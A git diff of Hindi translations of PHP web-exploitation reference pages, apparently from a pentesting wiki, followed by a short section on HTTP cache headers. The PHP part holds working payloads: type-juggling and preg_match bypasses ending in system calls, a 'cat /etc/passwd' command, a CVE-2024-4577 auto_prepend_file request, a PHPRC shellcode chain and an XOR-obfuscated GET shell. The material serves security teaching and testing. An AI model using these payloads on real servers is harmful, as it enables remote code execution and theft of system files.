- `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग्स जो दशमलव या हेक्स प्रारूप में हैं, उन्हें अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
|
||||
- `"0e3264578" == 0 --> True` एक स्ट्रिंग जो "0e" से शुरू होती है और उसके बाद कुछ भी होता है, वह 0 के बराबर होगी
|
||||
- `"0X3264578" == 0X --> True` एक स्ट्रिंग जो "0" से शुरू होती है और उसके बाद कोई भी अक्षर (X कोई भी अक्षर हो सकता है) और उसके बाद कुछ भी होता है, वह 0 के बराबर होगी
|
||||
- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` एक स्ट्रिंग में कोई भी अक्षर int 0 के बराबर होता है
|
||||
|
||||
अधिक जानकारी के लिए [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) में देखें
|
||||
अधिक जानकारी के लिए [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in_array()**
|
||||
|
||||
@ -64,13 +64,13 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
### सख्त प्रकार जुगलबंदी
|
||||
|
||||
यहां तक कि अगर `===` का **उपयोग किया जा रहा है**, तो ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलबंदी के प्रति संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
|
||||
यहां तक कि यदि `===` का **उपयोग किया जा रहा है**, तो ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलबंदी के प्रति संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट** को **मान्य** करने के लिए किया जा सकता है (यह **जांचता** है कि क्या कोई **शब्द/regex** **ब्लैकलिस्ट** से **उपयोगकर्ता इनपुट** में **मौजूद** है और यदि नहीं है, तो कोड अपनी कार्यवाही जारी रख सकता है)।
|
||||
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट** को **मान्य** करने के लिए किया जा सकता है (यह **जांचता** है कि क्या कोई **शब्द/regex** **ब्लैकलिस्ट** से **उपयोगकर्ता इनपुट** पर **मौजूद** है और यदि नहीं है, तो कोड अपनी कार्यवाही जारी रख सकता है)।
|
||||
|
||||
#### नई पंक्ति बायपास
|
||||
|
||||
@ -93,12 +93,12 @@ echo preg_match("/^.*1.*$/",$myinput);
|
||||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
यहाँ एक उदाहरण खोजें: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Length error bypass**
|
||||
|
||||
(यह बायपास स्पष्ट रूप से PHP 5.2.5 पर आजमाया गया था और मैं इसे PHP 7.3.15 पर काम नहीं करवा सका)\
|
||||
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
|
||||
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है, तो आप भेज सकते हैं:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -113,14 +113,14 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||
संक्षेप में, समस्या इस कारण होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों को बहुत सारे पुनरावृत्त कॉल का उपयोग करके मिलाया जाता है, जो बहुत अधिक स्टैक स्पेस का उपयोग करता है। पुनरावृत्तियों की अनुमति की गई मात्रा पर एक सीमा निर्धारित करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है, जो स्टैक में फिट होने से अधिक है।
|
||||
|
||||
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से चर्चा की गई है। हमारा कार्य अब स्पष्ट था:\
|
||||
**एक इनपुट भेजें जो regex को 100_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पेलोड में कुछ ऐसा फेंकते हुए `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज :)**।
|
||||
**एक इनपुट भेजें जो regex को 100_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पे लोड में कुछ ऐसा फेंकते हुए `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज :)**।
|
||||
|
||||
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" को नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होती है।\
|
||||
इस तक पहुँचने के लिए, `'X'*500_001` 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) का परिणाम देगा:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### PHP ओब्फ़स्केशन के लिए टाइप जुगलिंग
|
||||
### PHP ओब्फ़स्केशन के लिए टाइप जंग्लिंग
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
@ -133,7 +133,7 @@ $obfs += ""; //int 7
|
||||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
यदि PHP किसी अन्य पृष्ठ पर रीडायरेक्ट कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन **हेडर `Location`** सेट करने के बाद **कॉल** नहीं किया गया है, तो PHP निष्पादन जारी रखता है और डेटा को शरीर में जोड़ता है:
|
||||
यदि PHP किसी अन्य पृष्ठ पर रीडायरेक्ट कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन **हेडर `Location`** सेट करने के बाद **कॉल** नहीं किया गया है, तो PHP निष्पादन जारी रखता है और डेटा को बॉडी में जोड़ता है:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
@ -143,7 +143,7 @@ header('Location: /index.php?page=default.html');
|
||||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Path Traversal and File Inclusion Exploitation
|
||||
## पथ ट्रैवर्सल और फ़ाइल समावेशन शोषण
|
||||
|
||||
Check:
|
||||
|
||||
@ -151,18 +151,19 @@ Check:
|
||||
../../../pentesting-web/file-inclusion/
|
||||
{{#endref}}
|
||||
|
||||
## More tricks
|
||||
## और ट्रिक्स
|
||||
|
||||
- **register_globals**: In **PHP < 4.1.1.1** या यदि गलत कॉन्फ़िगर किया गया हो, तो **register_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET यदि उनके पास एक मान है जैसे $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं\*\* जो कोड के भीतर उपयोग किए जाते हैं।
|
||||
- **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को उस पथ का एक्सेस करता है** जो दूसरे पथ कुकी के मान को सेट करता है।\
|
||||
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को उस नाम के साथ देने से जो path2 में इसके लिए संबंधित है)।
|
||||
- जब आपके पास मशीन के उपयोगकर्ताओं के **यूजरनेम** हों। पता जांचें: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
|
||||
- [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
- **register_globals**: **PHP < 4.1.1.1** में या यदि गलत कॉन्फ़िगर किया गया हो, तो **register_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET में यदि उनका मान है जैसे $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं\*\* जो कोड के भीतर उपयोग किए जाते हैं।
|
||||
- **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को एक्सेस करता है** दूसरे पथ कुकी के मान को सेट करके।\
|
||||
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य मान लेगा (कुकी को उस नाम के साथ देने से जो path2 में इसके लिए संबंधित है)।
|
||||
- जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता लगाएं: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
|
||||
- यदि एक php कॉन्फ़िगरेशन में **`register_argc_argv = On`** है तो स्पेस द्वारा अलग किए गए क्वेरी पैरामीटर का उपयोग **`array_keys($_SERVER['argv'])`** के तर्कों के ऐरे को भरने के लिए किया जाता है जैसे कि वे **CLI से तर्क** हों। यह दिलचस्प है क्योंकि यदि वह **सेटिंग बंद है**, तो **args ऐरे का मान `Null`** होगा जब इसे वेब से कॉल किया जाएगा क्योंकि ars arry भरा नहीं जाएगा। इसलिए, यदि एक वेब पृष्ठ यह जांचने की कोशिश करता है कि क्या यह वेब के रूप में चल रहा है या CLI टूल के रूप में एक तुलना के साथ जैसे `if (empty($_SERVER['argv'])) {` एक हमलावर **GET अनुरोध में पैरामीटर भेज सकता है जैसे `?--configPath=/lalala`** और यह सोचेगा कि यह CLI के रूप में चल रहा है और संभावित रूप से उन तर्कों को पार्स और उपयोग करेगा। अधिक जानकारी के लिए [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) पर जाएं।
|
||||
- [**LFI और RCE php wrappers का उपयोग करके**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड हैश की तुलना में सही है।\
|
||||
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** में **72bytes के इनपुट में आकार की सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72bytes से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा:
|
||||
ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड एक हैश की तुलना में सही है।\
|
||||
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** का **इनपुट में 72बाइट्स का आकार सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72बाइट्स से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -174,9 +175,9 @@ True
|
||||
|
||||
#### Causing error after setting headers
|
||||
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHOP प्रतिक्रिया में headers सेट नहीं करेगा।
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHOP प्रतिक्रिया में हेडर सेट नहीं करेगा।
|
||||
|
||||
उदाहरण के लिए CSP headers को बायपास करने की अनुमति देता है जो कोड में सेट किए गए हैं:
|
||||
उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देता है जो कोड में सेट किए गए हैं:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
@ -184,7 +185,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### हेडर सेट करने से पहले एक बॉडी भरना
|
||||
|
||||
यदि एक **PHP पृष्ठ त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा कंटेंट प्रिंट करने के लिए मजबूर कर सकता है** कि जब यह **उत्तर में हेडर जोड़ने की कोशिश करता है**, तो सर्वर एक त्रुटि फेंक देगा।\
|
||||
यदि एक **PHP पृष्ठ त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस ईको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **इतना लंबा सामग्री प्रिंट करने के लिए मजबूर कर सकता है** कि जब यह **उत्तर में हेडर जोड़ने की कोशिश करता है**, तो सर्वर एक त्रुटि फेंक देगा।\
|
||||
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़े त्रुटियाँ फेंकने के लिए मजबूर किया**, और जैसा कि आप स्क्रीन में देख सकते हैं, जब PHP ने **हेडर जानकारी को संशोधित करने की कोशिश की, तो यह नहीं कर सका** (तो उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया):
|
||||
|
||||
.png>)
|
||||
@ -267,19 +268,19 @@ usort();}phpinfo;#, "cmp");
|
||||
|
||||
### **RCE via .httaccess**
|
||||
|
||||
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess फ़ाइलों को **निष्पादित** किया जा सकता है)।
|
||||
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजों को **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess एक्सटेंशन वाले फ़ाइलों को **निष्पादित** किया जा सकता है)।
|
||||
|
||||
विभिन्न .htaccess शेल [यहां](https://github.com/wireghoul/htshells) मिल सकते हैं।
|
||||
|
||||
### RCE via Env Variables
|
||||
|
||||
यदि आप एक भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
|
||||
यदि आप एक ऐसी भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरीज़ लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)।
|
||||
- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरी फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
|
||||
1. हमारे शेलकोड वाला PHP फ़ाइल अपलोड करें
|
||||
2. एक दूसरी फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करें
|
||||
3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें।
|
||||
- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
|
||||
1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें
|
||||
2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि पहले चरण में अपलोड की गई फ़ाइल को निष्पादित करें
|
||||
3. `PHPRC` वेरिएबल को दूसरे चरण में अपलोड की गई फ़ाइल पर सेट करें।
|
||||
- इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)।
|
||||
- **PHPRC** - एक और विकल्प
|
||||
- यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है:
|
||||
@ -290,11 +291,11 @@ usort();}phpinfo;#, "cmp");
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
वेब सर्वर HTTP अनुरोधों को पार्स करता है और उन्हें एक PHP स्क्रिप्ट को पास करता है जो एक अनुरोध को निष्पादित करता है जैसे [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) को `php.exe cgi.php foo=bar` के रूप में, जो एक पैरामीटर इंजेक्शन की अनुमति देता है। यह PHP कोड को शरीर से लोड करने के लिए निम्नलिखित पैरामीटर इंजेक्ट करने की अनुमति देगा:
|
||||
वेब सर्वर HTTP अनुरोधों को पार्स करता है और उन्हें एक PHP स्क्रिप्ट को भेजता है जो एक अनुरोध को निष्पादित करता है जैसे [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) को `php.exe cgi.php foo=bar` के रूप में, जो एक पैरामीटर इंजेक्शन की अनुमति देता है। यह PHP कोड को शरीर से लोड करने के लिए निम्नलिखित पैरामीटर इंजेक्ट करने की अनुमति देगा:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण की जांच करें।
|
||||
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण देखें:
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -375,14 +376,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR आसान शेल कोड
|
||||
|
||||
[**इस लेख** ](https://mgp25.com/ctf/Web-challenge/) के अनुसार, इस तरीके से एक आसान शेलकोड उत्पन्न करना संभव है:
|
||||
According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
तो, यदि आप **संख्याओं और अक्षरों के बिना मनमाना PHP निष्पादित कर सकते हैं** तो आप उस पेलोड का दुरुपयोग करके मनमाना PHP निष्पादित करने के लिए निम्नलिखित अनुरोध भेज सकते हैं:
|
||||
तो, यदि आप **संख्याओं और अक्षरों के बिना मनमाना PHP निष्पादित कर सकते हैं** तो आप निम्नलिखित अनुरोध भेज सकते हैं जो उस पेलोड का दुरुपयोग करके मनमाना PHP निष्पादित करता है:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
@ -56,12 +56,12 @@
|
||||
|
||||
**सर्वर कैश हेडर**:
|
||||
|
||||
- **`X-Cache`** में प्रतिक्रिया में मान हो सकता है **`miss`** जब अनुरोध कैश नहीं किया गया था और मान **`hit`** जब इसे कैश किया गया है
|
||||
- **`X-Cache`** में प्रतिक्रिया का मान **`miss`** हो सकता है जब अनुरोध को कैश नहीं किया गया था और मान **`hit`** हो सकता है जब इसे कैश किया गया है
|
||||
- हेडर **`Cf-Cache-Status`** में समान व्यवहार
|
||||
- **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में संकेत करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों।
|
||||
- **`Age`** उन सेकंड में समय को परिभाषित करता है जब वस्तु प्रॉक्सी कैश में रही है।
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** यह भी संकेत करता है कि एक संसाधन कैश किया गया था
|
||||
- **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन को फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** अक्सर प्रतिक्रिया में उपयोग किया जाता है **अतिरिक्त हेडर** को **कैश कुंजी** के भाग के रूप में इंगित करने के लिए, भले ही वे सामान्यतः अनकुंजीकृत हों।
|
||||
- **`Age`** उस समय को परिभाषित करता है जो वस्तु प्रॉक्सी कैश में रही है।
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** यह भी इंगित करता है कि एक संसाधन कैश किया गया था
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -69,36 +69,37 @@
|
||||
|
||||
**स्थानीय कैश हेडर**:
|
||||
|
||||
- `Clear-Site-Data`: हेडर यह संकेत करने के लिए कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Clear-Site-Data`: हेडर यह इंगित करने के लिए कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: उस दिन/समय को शामिल करता है जब प्रतिक्रिया समाप्त होनी चाहिए: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` `Cache-Control: no-cache` के समान
|
||||
- `Warning`: **`Warning`** सामान्य HTTP हेडर संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर प्रकट हो सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: **`Warning`** सामान्य HTTP हेडर संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## शर्तें
|
||||
|
||||
- इन हेडरों का उपयोग करने वाले अनुरोध: **`If-Modified-Since`** और **`If-Unmodified-Since`** केवल तब डेटा के साथ उत्तर दिया जाएगा जब प्रतिक्रिया हेडर\*\*`Last-Modified`\*\* में एक अलग समय हो।
|
||||
- **`If-Match`** और **`If-None-Match`** का उपयोग करने वाले शर्तीय अनुरोध एक Etag मान का उपयोग करते हैं ताकि वेब सर्वर प्रतिक्रिया की सामग्री भेजे यदि डेटा (Etag) बदल गया है। `Etag` HTTP प्रतिक्रिया से लिया जाता है।
|
||||
- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` यह संकेत करता है कि `Etag` **37 बाइट्स** का **Sha1** है।
|
||||
- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना** किया जाता है। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` इंगित करता है कि `Etag` **37 बाइट्स** का **Sha1** है।
|
||||
|
||||
## रेंज अनुरोध
|
||||
|
||||
- **`Accept-Ranges`**: संकेत करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए।
|
||||
- **`If-Range`**: एक शर्तीय रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाता है। असंगत संसाधन के संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए उपयोग किया जाता है।
|
||||
- **`Content-Range`**: इंगित करता है कि एक पूर्ण संदेश में एक आंशिक संदेश कहाँ संबंधित है।
|
||||
